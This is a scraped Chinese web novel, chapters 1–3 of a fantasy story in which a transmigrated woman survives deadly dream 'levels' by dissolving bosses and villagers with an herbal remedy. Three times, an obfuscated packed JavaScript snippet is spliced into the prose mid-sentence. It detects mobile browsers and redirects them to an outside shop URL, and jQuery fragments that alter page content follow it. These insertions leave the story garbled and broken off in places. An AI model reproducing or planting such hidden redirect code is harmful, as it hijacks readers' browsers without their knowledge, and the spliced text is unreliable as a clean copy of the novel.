《干了这碗小柴胡[无限]》 1. 大郎,该吃药了! “大郎,该吃药了!!!” 话音刚落,一只白皙的手紧紧反握木碗底部,碗的底部沾上些许黄土,手的主人是丝毫不介意。 碗的凹面却是牢牢扣在一个枯瘦如柴的老叟面皮,碗里的褐色液体顺着褶皱丝滑流出,所过之处皆散发薄薄白烟,细微的滋滋声隐藏于他人的惊呼之中。 顷刻间,液体从面皮流淌到脚底,哗啦一声下,老叟站的位置只剩下一滩黄色浓稠不明物。 一旁坐了许久的浅绿襦裙少女见状,站直身子提着纸灯笼,笑吟吟地朝柴胡走近。 绿衣少女无视柴胡面色苍白,颤抖的右手紧紧捂住胸口大喘气的模样,自顾自说着祝福话。 “恭喜您找到奖励关的关主并成功将其消灭,此关已过,您可选择睁开眼或继续闭眼。” 没头没脑的一段话,若是不知前因后果,肯定丈二摸不着脑袋,但对于在这个乱七八糟的世界苦挨了十天的柴胡来说,勉强叫听得懂,但可以选的话她当然选择没听见。 柴胡看着二八年华的绿衣少女,艰难扯扯嘴角,选择了睁开眼。 随着光芒的渗入,面前的绿衣少女与摇摇欲坠的排排相间茅草小屋逐渐模糊,失去踪影。 等柴胡完全睁开眼后,映入眼帘的是一个破了个大洞的瓦片顶,她缓缓撑起瘫睡许久而僵硬的身躯,仰天长叹。 “这狗屁世界怎么还在啊?” “你又发疯了?” 随着话头一落,一个充满热意的软体贴上柴胡的手臂。 柴胡一低头,就看到长漠的脸倚靠着,黑黝黝的眼珠子动也不动凝视她。 “人是疯了点,但小柴打死妖怪结束关卡的速度就是快,果然有神器就是不一样,不愧是一碗超人。” 柴胡听完这番发言,按按发疼的眉心,“……别叫我一碗超人。” “这不是你自己一开始说的吗?”长漠不理解,撇撇嘴继续道:“照这样下去,你一定很快集齐八个章印得到机会实现心愿吧?” 柴胡推开长漠,径直站起来,“我没有心愿。” 长漠不大的样子是异常老成,一副过来人姿态道:“我懂我懂,大家刚开始都是这么说的。” “瞧你每次醒来都是一副要死不活的样子,你的心愿一定是想治好你身上的病吧,大家都这样。” 柴胡斜撇长漠七倒八歪的靠姿,依然强硬否认:“我没有心愿,我只想着能过一关是一关。” 能短暂的活着,是她唯一的目标,亦是奢侈。 长漠也不跟她争执,慢慢撑住地面直起身子,整理了凌乱的衣衫后,指指小屋外面。 “我饿了,出去吃饭吧。” 话音刚落,柴胡的肚子适时地发出咕噜咕噜的饥饿声。 虽然是在梦境的世界里搞无限流,但睡着的肉身却依然会消耗能量,在杀死关主的时候,柴胡那具一动就三喘的脆弱身躯,消耗的能量是常人的三倍。 “你可得藏好神器,不然一出门保准遇到疯子上来就抢。”长漠边摸到破洞的木门,边嘟囔道。 柴胡从善如流地将手边装满小柴胡颗粒的塑料袋塞进身上披着的灰色长袍里,然后戴上一旁搁置的白纱帷帽,遮盖住早就在废镇暴露彻底的清秀面孔。 长漠瞥了一眼,纵使见过好几次,但仍是忍不住咋舌。为了保护自己,柴胡把所有会露出的皮肤全部遮盖住,整体看上去就像一个臃肿的怪人,叫人不敢多看两眼。 可这样的装扮在废镇却是极为常见的。 柴胡步履蹒跚地跟着长漠的后头,往落脚的小屋不远处的酒肆走去。 那是废镇唯一一家会对外开放的卖酒饭馆,也是整个废镇人流最集中的地方。只要从梦境的世界醒来,极度消耗能量的人便会成群结队前往酒肆。 至于为什么不自己做饭,柴胡不由脚步顿住,侧头望向废镇最为瞩目的中心,无论从哪个角度都能见到的红色楼阁式高塔,高耸入云,远远眺望还能见到上面隐隐约约的人头。 “小柴,你又再看密查组?那玩意儿有什么好看的?” 长漠一回头,见到柴胡傻愣愣地站在路中央,得亏路上无行人,不然她一副愣头青的模样,肯定又会像第一次遇到她的时候一样,被人追捕,就为了抢夺她身上可以杀死关主的神器。 听到长漠略带不满的口吻,柴胡才将注意力放回眼前破落的青砖石路。 “我只是在想,他们什么时候能够查明这场疫病,我们才能不再被迫做梦,被迫去打倒关主。”柴胡垂眸,许久未进水的喉咙沙哑着。 瘟疫,是大齐皇朝单方面对她们如今所经历的事情定性的名称。 染病者会不由自主陷入沉睡进入梦境世界,在那里他们被迫进行着一场又一场游戏任务,传闻唯有集齐引路人给的八个章印才能彻底摆脱这种病。 但对柴胡这种穿越者来说,用无限流打副本的词可能更为熟悉。 “你指望朝廷的走狗会干实事,还不如指望自己早点集齐八个章印,从梦魇脱离,离开这个废镇。那些密查组可是整座废镇的狱卒,是负责看管我们这些得了瘟疫的人。”长漠双手抱着后脑勺,吊儿郎当走着,语气不屑。 “就连大齐那位鼎鼎有名的丞相,得了这会控人杀人的瘟疫也毫不留情被丢进废镇隔离,听说他的未婚妻还连夜退婚。有权有势的都被朝廷遗弃,我们这些平民百姓,还能被他们救?” 说话间,两人沿着青砖石路,走到了酒肆门前。对比周遭无人打理而腐烂的建筑,酒肆可以称得上完整无缺,虽外表有些岁月的年头,却又令人格外的心安。 柴胡与长漠前后脚进门,无视门侧失去气息躺倒的“尸体”们,熟门熟路地坐到楼梯角落,一个可以饱览整个酒肆环境的绝佳位置。 酒肆零星散落的几个人,看见两人后,眼珠子滴溜滴溜转动,似乎在打什么主意,但瞧见柴胡那臃肿的长袍,又怕长袍底下藏着大兵器,于是瞥了几眼转为隐晦观望。 长漠唤来无精打采的店小二,点了几个常吃的菜后,双手捧着脸颊,发现柴胡又在发愣,顺着她的视线看去,见到柴胡的眼神终点是一堵墙壁,长漠瞬间失去了兴致。 “我说小柴,你怎么总是喜欢看这些东西?有那么好看吗?”长漠完全不能理解,柴胡这个人看上去挺正常的,但行为和思想总是古古怪怪。 “不过也是,都染上瘟疫了,人能正常到哪里去?都疯点好啊。”长漠自问自答。 “距离瘟疫爆发已有三年,丢进废镇隔离的人数没有减少过。这期间不是没有流言,有人集齐了八个章印,彻底痊愈离开废镇,但痊愈好像不是一件好事。”长漠吃着饭,口齿含糊不清。 柴胡只是默默听着,不敢妄言。她对许多事都是一知半解,毕竟一穿越便是传说中的梦魇世界,瞎搞搞垮了关主,因此被人盯上要抢她手中可以消灭关主的小柴胡颗粒。 若不是机缘巧合碰上长漠,柴胡估计当场就交待在那里了。后来两人就一直结伴而行,长漠经常照顾着她,她也从长漠口中知道不少事情,来填补她对大齐的空白印象。 柴胡扒拉着面前不新鲜的饭菜,旁边的长漠同样吃得很香,就在此时,一只毫无征兆的手一把搭在了柴胡的肩膀上。 柴胡拿筷子的手吓得哆嗦,刚想砸碗就跑,就听到后面的人闷声闷气地说:“别动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你,是不是那个有神器的女人?” 柴胡心里一惊,下意识摸到面部,后知后觉自己把帷帽弄丢了,面容暴露无遗。 “……不是,你说的那个人在哪,我也想找她。”柴胡压着心头乱蹦,强装淡定。 中年男子沉默不语,眼神紧紧盯住柴胡,愈发危险。忽然他咒骂一声,毫无预警地在柴胡面前栽倒。 柜台无精打采的店小二见状,擦擦鼻子,熟练地将人抬起后丢在酒肆的门侧边,与那堆失去生息的“尸体”们叠在一起。 柴胡默不作声给他让路,却一个退步靠在了一个人的胸膛前。 她抬起眼帘,一张温润内敛的俊美面孔正微笑地垂头看她。 不知道他怎么出现,也不知道他出现多久,但柴胡下意识觉得,对方很危险。 没等对方做自我介绍,柴胡感觉到一阵熟悉不可抗拒的眩晕,没多久她就跟之前的中年男子一样,栽倒地上。 睁眼时,又是似曾相识的层层白雾,与那名笑吟吟提着灯笼的绿衣少女。 灯笼火焰微弱,绿衣少女并不在意,是一成不变微笑道:“铛铛铛铛,欢迎各位再次来到人生保险盖章小游戏,我是你们的人生引路人。今天你们的任务是请让关主感受爱。” “简单来说就是,恋爱吧,少年!” 柴胡没反应过来这什么乱七八糟的任务要求,耳畔就响起陌生的声音。 “又见面了,柴姑娘,没想到我们进入的是同一关。自我介绍一下,我是大齐的丞相裴慕栀。” 酒肆遇到的,身着玄色深衣的俊美男子如此说道,笑容勾得耐人寻味。 2. 恋爱吧,少年! “呵,有意思,女人,你成功吸引了我的注意!” “女人,你这是在玩火!” “女人,如果你是故意激怒我的,那你成功了!” 四面八方的话互相穿插交杂着。 少年轻轻晃动垂下的发丝,露出刀削般的下颌线,勾起三分讥笑与七分漫不经心,闪动的眼眸带着轻佻。修长的手臂撑在茅草小屋的灰土墙壁上,半拢着一名少女。 正当他想说下一句话时,啪的一声,一只巴掌狠狠打在了他的脸上。 “你有病吧?该死的臭男人别拦我的路!”耳边簪花的豆蔻少女又甩了少年两巴掌后,气呼呼地走了。 留下错愕不已的少年捂着脸颊,而在不远处,与他遭到同样待遇的还有五个人。 而柴胡恰好坐在能围观这一切发生的茶寮之中,右手边落座着很有闲情逸致品茶的裴慕栀。 “真是很有意思啊,你觉得呢,柴姑娘?” 裴慕栀将茶盏轻放,茶盏浮起的袅袅白烟很快与笼罩在小村落四周的白雾融为一体,与白雾一同消灭企图跑出小村落范围,不守规矩的人。 柴胡默默扭头望向外头孜孜不倦进行爱情土话攻略的闯关者们,看他们一次次随机拦截小村落的姑娘,无论老少幼,只要是女的,都被他们拦截一通,然后掏出据说是他们传家之宝的《近百年流行爱情蜜语大全》,念着上面的土味情话和运用所谓爱情技巧,意图打动潜藏在小村落的不知名关主。 说时迟那时快,跟柴胡同一批进来的闯关者之一,因为强硬的壁咚行为而挨了一记断子绝孙脚。柴胡看他痛苦倒地的样子,猜测应该真的很痛。 听说在梦的世界死了,现实也会跟着死去,就是不知道现实会不会一样断子绝孙。 裴慕栀见柴胡眼神空洞,知晓对方是在发愣,对他的话视若无睹,他也不恼,反倒提出另一件事。 “柴姑娘,相遇便是有缘,不如趁此机会我们来谈一谈合作?” 柴胡没有半点反应,似乎还沉浸在外面精彩的世界。 “我知道你身上有能对付关主的神器,”裴慕栀话语未尽,柴胡的眼神开始有了波动,“但我相信神器总会有用尽的一天,在那天之前,你确定单凭你自己就能够完全通关这个梦境吗?我们皆是想要在这个荒诞的梦境活下去的,不巧我的脑子还行,可以给你一些指引。我们相互合作的话,无论对你对我,都有好处。” 裴慕栀寻求合作的内容描述完,茶寮是久久的沉默,裴慕栀不禁看了一眼柴胡,却被对方扭成一团的面容惊住了。 “……你,有话不妨直说,无须憋成这样。”裴慕栀犹豫片刻,选择斯文解脱柴胡的纠结。 柴胡如释重负,“我首先明确一点,你们称之为神器的东西,虽然不知道它为什么能有消灭关主的力量,但它真的就只能消灭梦里的关主,不能做其它的事情。” 裴慕栀点点头,“然后呢?” “我的意思是,”柴胡吞吞吐吐,“它不能让你三十年河东三十年河西,也没有什么随身老爷爷让你重返朝廷,找回你的未婚妻。” 这番话在裴慕栀纵横官海多载的脑子里过了一遍,差点令它转不过来,“我,为什么要找回我的未婚妻?” 柴胡睁着迷茫清澈的双眼,“你不是一夜之间失去了所有,还被人退婚了吗?你费尽心机接近我,不就是想要得到力量离开废镇,去夺回自己失去的,然后打脸抛弃你的未婚妻,以及一二三四五若干个小反派……” 裴慕栀长期挂在脸上的微笑有那么一呼吸时间挂不住垮了下来,“还有吗?” “啊?”柴胡的嘴没把门,继续把最后一句带了出来,“一路上还收获六七八个知心姐姐妹妹,认了一个比一个牛的岳家亲戚?” 茶寮再次陷入死一般寂静。 “你就是这么看我的?” “接着讲啊,我爱听,吧唧吧唧……” 片刻,裴慕栀的疑问与一把清脆的小童声同时响起。 柴胡顿了顿,侧头朝身后看去。 原本小村落为了给闯关者们划分任务点,就将小村落外围的景色全部遮掩住,展现给柴胡等人的,只有错落相间的茅草小屋以及一个简单的小市集。 而一开始,在小村落出现前,柴胡等人还在白雾中聆听绿衣少女发布任务的信息。因此柴胡把同一批闯关者的相貌特征都记了一遍,时值当下,柴胡非常确定她从未在闯关者之中见过面前这个约莫十岁的小男童。 尤其他极为嚣张地磕着瓜子,坐在茶寮唯二的茶桌上,翘着腿,命令柴胡继续给他讲故事。 “继续啊,我在等欸!”小男童为了表示自己迫切的等待,小手一挥,把吃剩的瓜子壳丢向柴胡与裴慕栀。 熊孩子发难虽早有预备,但防不胜防。两人躲闪快,却仍然有一些落在身上,连高大个的裴慕栀都遭毒手,更别说全身功能大打折扣虚弱要命的柴胡了。 柴胡吸吸鼻子,没有理会发丝间的瓜子壳,从茶寮的柜台摸出一只破烂的白瓷公鸡碗,拿起茶桌上的热水倒下后,手又从怀里掏出一小袋褐黄相间的颗粒,径直混入热水之中。 一旁的裴慕栀饶有趣味看着柴胡一系列动作,“你这么快就确认他是关主了?” “没想到你也很聪明,反应很快。那名引路人一开始就说过,要让关主感受爱,但她从来没有指明过关主的年龄与性别,况且爱这种东西范围很空泛,不一定指的是爱情,可引路人却明确表示要求我们恋爱,我有理由怀疑,她是在模糊我们的视野……你在干什么?” 裴慕栀认真地分析着,却见到柴胡搅混完传说中的神器,递到了小男童面前。 柴胡没有回答裴慕栀的话,眼神示意小男童喝下,那是她最后的温柔。 小男童望了一眼黑漆漆的碗,颇为嫌弃道:“我不喝。” “不喝不是村落人!”柴胡想都不想直接回怼。 裴慕栀:“……你就是这么对付关主的?这么,有礼貌?”这和他查出来的有些出入啊。 柴胡无语地看了他一眼,“我没说他是关主。” “那你是在?” “我看他年纪轻轻,就那么大口气,怕是肝不好,得从小补补身子,不然长大后身高不长,会被其他小孩嘲笑的。”柴胡一本正经地说道。 小男童闻言,狐疑地抬起头,“不喝这东西,我会长不高吗?” 柴胡给予强烈的肯定,看小男童还是将信将疑,直接给自己闷了一口,“你看,没毒。” 小男童见状,欣然接受,猛灌起来,这可是能长高的神药啊。 然后没喝两口,他的表情就痛苦起来,手一松,碗就掉下来。岂知柴胡早有预料,一把接过来。 “这药,有毒。”小男童磕磕巴巴地说着,浑身开始冒烟,痛苦袭来令他开始在茶桌上打滚,茶桌上的茶盏热水被撞到,洒落地面。 瞬息间,小男童化成一滩黄脓,与洒出的热水混合,缓缓滴落地面的泥尘之中。 裴慕栀等了许久,没得到想象中的结果,不禁皱眉,“这关怎么没过?” 柴胡冷漠地坐回原位,小口小口喝着小男童没喝完的药。 “因为他不是关主。” 裴慕栀不解,“可是你的神器不是能消灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103173|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它?” “这就是我要跟你明确的第二点。”柴胡一碗饮尽,“其实我的药不仅能消灭关主,只要是梦境里非闯关者的人,我都能消灭。” “意思就是说,外头那群傻子拦截的姑娘们,我都可以杀死她们,不管她们是不是关主。”柴胡指指外头不停暴打着闯关者们的村落姑娘,忽然某个身影映入眼帘,让她忍不住皱眉。 “小尚?” “谁?”裴慕栀还在惊讶柴胡真正的能力,突然听到她喊了一个名字。 茶寮外头,群魔乱舞。 与柴胡同批进入的闯关者是男性居多,为了通过任务,是分散进行着。这就导致整个小村落的女人遭受到难以言表的困扰,使得小村落的男人开始集结起来,对付这些登徒浪子。 然而闯关者也是为了自身的生死存亡,一定要完成这些虚无缥缈没有盼头的任务。于是两拨人隐隐约约产生了对立的念头,战争一触即发。 小村落的女人短时间遭到袭击,早已躲藏起来,让闯关者无处下手,而小尚这个不知前后原因,莽莽撞撞走入众人视野的女性,就成了活靶子。 柴胡发现她的时候,小尚正忙着揍死一个企图对她做出奇怪动作以及说出奇怪语句的男人。拳拳到肉的攻击,让男人的血不小心溅在小尚的侧脸,从远处看,完全是一处杀人现场。 柴胡是三步并两步,喘着大气拦住小尚那强有力的拳头,“拳下留人!” 小尚身形顿住,放过了身下一息尚存的男人,“阿柴,你也在?长漠呢?” 柴胡抿抿嘴,“长漠不在,反倒是你,我明明看入村的人里没有你,你从哪里冒出来的?” 小尚擦擦顺着她脸颊滑下的血液,冷漠道:“引路人说我的情况有些复杂,所以比别人更晚入村。” “他也是该揍死的男人吗?”小尚的视线移到柴胡身后,眼里逐渐凝聚杀意。 柴胡连忙安抚,“这个暂时先不揍,我们坐那边聊。” 幸免于难的裴慕栀看清小尚的脸后,挑挑眉,带有几分兴味说道:“有意思。” “我也觉得你很有意思,深深地吸引了我的注意。”一名少年深情款款地走来,牵起了裴慕栀的手,“你为什么要害我,害我那么喜欢你。” 裴慕栀:“……” 柴胡看少年略感眼熟,回忆了半天终于想起他是方才见过的刀削般的下颌线。 “你……在做什么?”柴胡艰涩地发问。 少年眼眶里满载着情意,抬头仰望比他还高的裴慕栀,露出他精心准备的完美侧脸,嘴里却吐露着豪无人性的内容。 “这不是攻略姑娘们失败,我们几个兄弟合计之后,认为视野不该那么狭窄,只要让关主感受爱,无论男人女人,我们都要尝试一遍。” 柴胡忍不住皱起眉心,“可他是闯关者,你做这些有用?” 少年撇撇嘴,“快看左侧边那个茅草小屋,后面藏着三个村落男在偷看我们,信我,绝对有用。” 柴胡顺势看了过去,左侧都是相似的茅草小屋,可以说对于柴胡这个现代人来说,只要是茅草做的屋子,统统都长一个样。看了半晌,才从一间小屋紧闭的门窗中,窥到微微打开的一丝窗缝,盯久了似乎有阴影耸动。 默不作声的小尚听了一会,淡然道:“我听到村落的人在说,这个人一看就是疯子,不管男的女的都向他们示爱,叫村落的人离远点。” 小尚不止说,还用手指指,叫其他人看清所谓的疯子。 疯子·少年:“……” “我们还是聊回刚刚的小孩吧。”裴慕栀抽出手,生硬地转移话题。 3. 身为男人,你不行 “柴姑娘,我已经了解你的实力,只是我认为没有确认真正的关主,肆意滥用你所拥有的神器力量,是不顾后果的任意妄为。” 等离远了少年,裴慕栀开始对柴胡的行为说教。 “而且我们尚未知晓这些人与关主的关系,随意除掉很有可能引起村落的反击,造成不必要的后果。” 小尚不耐烦地反驳一脸严肃的裴慕栀,“我们家阿柴做事,轮得到你这个臭男人评头论足?管好你自己!” 柴胡伸手压住了冲上去要动手的小尚,瞥了一眼后头鬼鬼祟祟跟上来的少年。 “我很清楚我在做什么,如果你想与我合作,首先第一件事便是不要质疑我任何的决定。不过,”柴胡话锋一转,“我压根就没想过要跟你合作。” 裴慕栀听后一顿,浑然猜不到柴胡的态度发生骤变的原因,他以为他们已经达到了基础的共识,但柴胡是说翻脸就翻脸,那她为什么要光明正大在他面前展露出自己拥有的实力? “因为守不住。”柴胡似乎看穿裴慕栀在想些什么,挽起小尚的手臂,以免她一不留神就逃脱桎梏冲上去揍人。 “你虽然落难了,但仍是个位高权重之人,在你面前没什么好藏的……话说回来,我们一定要在这里讲这些事情吗?通关才是最重要的。” 就在他们交谈间,躲藏在茅草小屋之中的村落男人成群结队走出,大片大片地包围住柴胡等人前进的路,如果他们手上没有拿着锄头镰刀等危险物品,柴胡估计能跟他们唠上两句,糊弄一下。 然而对方显然就是不想给柴胡表现的机会,其中一名男子猛地从人群中冲出来,挥动手中长长的锄头,朝柴胡袭去。 小尚眼疾手快拉过柴胡,露出一大块缝隙令其穿过,岂料那名男子没有就此停下,反倒笔直向鬼祟尾随柴胡的少年砸去。 少年躲闪不及,被狠狠地砍伤了肩膀。 少年倒吸一口凉气,捂住不停渗出的鲜血,红窜窜的血液从他白皙的手掌缝隙里流淌而过,轻微的锈味竟让袭击的男子双眼瞬间通红,宛如恶鬼,不受控地舔舔干涩的嘴边。 “该死的!”少年低声暗骂,腿脚麻利地踹走男子。 他抽出腰间别着的软剑,一举刺向流露出阴鸷神情的村落男子。 其他村落人见状,纷纷上前阻拦,利器不断朝少年袭去,眼神却是死死盯准少年淌血的肩膀,每个人眼底流露出的渴望清晰可见。 小尚将柴胡护在身后,瞥了一眼陷于水深火热的少年,冷声询问柴胡,“需要帮他吗?” 柴胡观望片刻,余光瞧见包围村落的白雾似乎有些异动,在她们毫无察觉之际,悄悄地缩减了聚拢的范围。 裴慕栀亦同样瞧见了,“白雾开始收缩,留给我们的时间不多了,尽管我很想再见识见识你是如何寻找关主的手段,但一切得活着再说。” 这场莫名其妙能带人进入梦境的瘟疫泛滥之初,没有人意识到梦里的白雾到底是什么样的存在。 后来因为有人无法完成任务,又见人死在了关主手里,惊慌失措间跑进白雾里头,直接人间蒸发连骨头都找不到。可是在不同的时候,有人误入白雾却不会受到任何的伤害。因此直到如今,根本没人知晓白雾的真面目,可没有人敢赌,那是一片无辜寻常的白雾抑或是害人的雾。 总而言之,小心为上。 而如今,柴胡的直觉告诉她,那片白雾很危险。 “帮我把碗和热水找来吧。”柴胡对小尚说道,目前看来,只有小尚有能力闯过村落人的包围网,拿到她想要的物什。 小尚不由分说地冲进人海里,那些村落人起初还对她们虎视眈眈,由于少年的拼死反抗,他们不少人受了伤,一时之间不好判断柴胡等人是不是同样的硬茬子,只是拿着利器对准她们,没有下一步动作。 然而小尚的突然反抗,打了他们一个措手不及,一不留神让小尚找到间隙逃了出去,剩下的村落人面面相觑后,狠厉的眼神投向了剩下的柴胡和裴慕栀。 “你们这些外地人,不仅阴狠,对我们的姑娘动手,还胆敢反抗我们的制裁,简直罪无可恕!”一个头扎蓝带的汉子勃然大怒,高声喊道。 柴胡倒有几分意外,他们会愿意与她们对话,可内容却不咋的,“讲点道理,我是女的,怎么就对你们姑娘动手?” 汉子啐了一口,“你们这些外地人,都是一伙的!” 此话一出,后头的村落人群情汹涌,很是愤怒。 裴慕栀摸摸下巴,“这么听起来,好像是寻常百姓在抗议。” 柴胡扯扯嘴角,满是嘲讽,“但你根本没有把他们当成百姓不是吗?” 她都瞧见裴慕栀藏在衣袍下的短匕了。 裴慕栀笑容不减,眼底闪过一丝冷意,“毕竟他们根本不是人,我怎会又怎能将他们当作我大齐手无缚鸡之力的百姓们呢?” 汉子目露凶光,握紧了锄头,“你们叽叽歪歪说些什么,给我乖乖受死!” 说罢,汉子领着众人杀向柴胡。 柴胡瞬间躲到了裴慕栀的身后,过程行云流水,裴慕栀都没反应过来,匕首就挡住了汉子的锄头,只是力量悬殊,令他抵挡有些艰难。 柴胡与裴慕栀停留在一间小屋前,被人包围住时,只有背后的一堵木墙,简而言之,是无路可逃。 裴慕栀有些气喘,“你就不能帮帮忙?” 柴胡躲在他身后,他看不清柴胡的表情,只听到柴胡冷冷淡淡地说:“对不起,我是弱鸡,你是男人,你能行的。” 裴慕栀气笑了,一脚踹走另一个冲上来的汉子,却重心不稳要往后倒,所幸柴胡撑住了他。 “……身为男人,你有点弱啊。”柴胡毫不客气地评价道。 裴慕栀也不藏着掖着,一个转身,匕首舞得虎虎生风,呼吸间反压制住只会种地的汉子们。 柴胡点点头,看了一眼裴慕栀的手,继续点评:“这才像样。” 裴慕栀在前头奋力击杀,明明插中人体的致命点,可村落的汉子仍然屹立不倒,伤口只是源源不断流出黑色的液体。 他听到柴胡的声音,回复的嗓子有些吃紧:“若想与柴姑娘合作,真是有些艰辛。” “别吵吵,快动手。”柴胡指指另一边等着处理的村落人。 裴慕栀嘴角泛起一丝苦笑,匕首在他手上飞速翻转,徒留残影,显得淡淡泛紫的手指尖格外妖异。 柴胡头一撇,小尚背着一个小包袱从人群翻身穿来,小尚将包袱一甩,等柴胡顺势接过后,加入到“殴打”村民行列。 柴胡一边取出包袱里的瓷碗和一壶热水,一边看着面前的斗殴现场,感慨道:“这关还感受什么爱,全是□□//交流,没有半点精神升华。” 耳尖的裴慕栀闻言,看了一眼捣腾神器的柴胡,面色古怪,没来得及说什么,就被一村落汉子挡住他看柴胡的方向。 柴胡认真地搅混小柴胡泡好的药水,等弄得差不多后,与打斗中的小尚交换了一个眼神,随即柴胡伸手进瓷碗,浅浅捞上一些药水,猛地洒向背对着她的村落人。 药水在沾上村落人的外皮时,滋地一声,丝丝白烟从被泼过的地方冒出。中招的村落人吃痛,唰地一下恶狠狠地盯向始作俑者。 突然成为战场中心的柴胡面无表情,继续重复伸手进瓷碗掏水往外洒的动作。 “住手!你们这些卑劣的外地人,竟敢下毒!”汉子挡住的同时,嘴里不忘呵责。 柴胡充耳不闻,一步步向前。 村落人是一步步退后。 整个过程仿佛跳大神的老神棍拿了符水,击退被恶鬼附身的百姓。只是被喷符水的百姓脱离恶鬼会恢复如初,而这个村落的人身上却是出现一个个不成形的洞。 柴胡甚至能从那些洞,看到对面的景色。 “你们这些恶毒的人,一定不会有好下场的!” 头扎蓝带的汉子估计是村落的领头人,在柴胡的‘袭击’中,见到其他人痛苦时,会上前帮忙挡住药水的挥洒,导致他全身的洞比其他人都要多,坑坑洼洼的,异常可怖。 尤其这样的人还不死,仍旧一脸怨恨地瞪柴胡等人。 柴胡停下动作,手指尖插在温热的药水中,叹了一下:“老实说,惹你们的是他们,你要是冤有头债有主,我肯定不弄你。可你非得弄我,那我也不跟你客气。” 柴胡口中所说的他们,指的是期期艾艾凑过来想蹭保护的少年及其曾经的同伙们。 全身是伤的少年一听,就知道柴胡在点他名,立刻对天发誓,“我这不是为了任务吗?” “再说了,他们也不是人,我虽然没做多过分的事,但总不能以人的方式对待他们吧。”少年小声嘀咕。 他没觉得自己做错了,在这个梦境世界里,游戏任务千奇百怪,没做完也不知道有什么样的惩罚,甚至不知道会死在什么样的情景下。难得引路人指出了方向,那他们肯定拼命去完成,哪管你什么后果不后果,有冲突是常有的,在早就癫癫狂狂的世间,没前没后的,能保护好自己,已是极度的奢侈。 “柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103174|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘,你接下来要怎么做?”裴慕栀捂住胸口缓了半天劲,气顺过来后侧头问一言不发的柴胡。 “你把村落的人逼成这副模样,他们也把村落的其他姑娘逼到不出屋,要怎样找到关主完成任务,你可有法子?” 小尚已经把热水端过来,与柴胡相处过一段时间的她自然知晓柴胡接下来的打算。 只见柴胡把手中瓷碗里的药水统统倒入壶中热水,原本浓浊的药液随着搅拌渐渐变淡。 紧接着柴胡把水重新倒进小尚摆好的五个瓷碗之中,“只有一个办法,非暴力不合作。” 见裴慕栀有些疑惑,柴胡直接下达了命令:“见到村落人,喷他。” 柴胡自听到这个任务时,就知道这个任务根本不可能实现。 第一是时间不允许,第二是她不认为这些癫狂状态的闯关者会有耐心去给关主展现爱这种虚无缥缈又笼统的东西。 所以她从一开始,就决定好要向以往一样,直接暴力通关。用泡好的小柴胡颗粒毒死非闯关者们,总会有一个是目标。方法蠢是蠢了点,但至少比跟面前这些被其他人称为妖怪的培养什么感情要好得多。 裴慕栀接过碗后,眼底闪过几分复杂,“……既然你决意如此,我无话可说。” 小尚则是麻利地动手,见到一个泼一个。甚至踹开紧闭的茅草小屋闯了进去,伴随尖叫哀嚎声不断,她是闯过一间又一间,形同土匪进村,只是后头跟着傻愣的少年,搭配更怪异。 白雾仍在缓慢的收缩,柴胡没有停止自己冲泡小柴胡颗粒的动作,在原地接连泡下了五小袋,才堪堪将村落人消灭得干净。 她不曾去过村落别的区域,村落里藏着什么故事她也不想探索,就像个没有感情的木偶,无视着耳边回响的惨叫声。 约莫一个时辰后,村落忽然陷入一阵诡异的寂静。 绿衣少女轻轻踩过一滩滩浓稠的粘物,来到柴胡面前,居高临下地望着坐在尘土之上的柴胡。 她宛如叹息道:“又是你。” “你回回皆用这种法子,我真的很难做。” 柴胡头也不抬,收拾着塑料袋包装:“难做就不要做,没人逼你不是吗?” 绿衣少女已经习惯柴胡此等态度,眼里闪过几丝惋惜,侧眸看向慢慢聚拢的闯关者们。 由于柴胡的介入,这次的闯关者留下的数目要比绿衣少女想象中的要多。不过,绿衣少女仍旧态度不变,笑吟吟地恭喜那些搞不清楚状况的闯关者们通关。 少年站在他的同伴身边,他举着神秘药水跟在小尚屁股后面时,遇到四处乱窜逃避村落人抓捕的同伴,后来得知前因后果,也一并跟在小尚身边打杂。 此刻他收到引路人通关的通知,依然有些迷茫。他从未参加过如此快通关的游戏,心中是不可置信,又忍不住打量被小尚护住的柴胡。 未等他上前攀谈,柴胡等人已不见踪影,他也回到自己躯壳在的地方,时常相伴左右的手札上更是悄然无息地印上一枚桃花章印。 柴胡醒来后,发现自己竟然躺在一处干净的厢房。明明她是在酒肆昏倒,店小二没道理会好心送她上厢房,而不是丢在酒肆门边的“尸体”堆里。 她轻轻一动,发现自己的手被人牵着。 是睡得格外香甜的长漠,趴在床榻边缘拽住柴胡的手心不放。 再抬头,裴慕栀就静静地坐在床榻的对面闭目,身边是那名长相普通的男子。 察觉到柴胡清醒,裴慕栀与那男子同时看向她。 “柴姑娘,我想我们之间应该有很多话要说。”裴慕栀踱步到柴胡跟前,全然不顾自身嘴唇发白,仍滔滔不绝。 “可是我却发现,你真的跟我们有很大的区别。”裴慕栀边说着,眼神落在了柴胡的左侧。 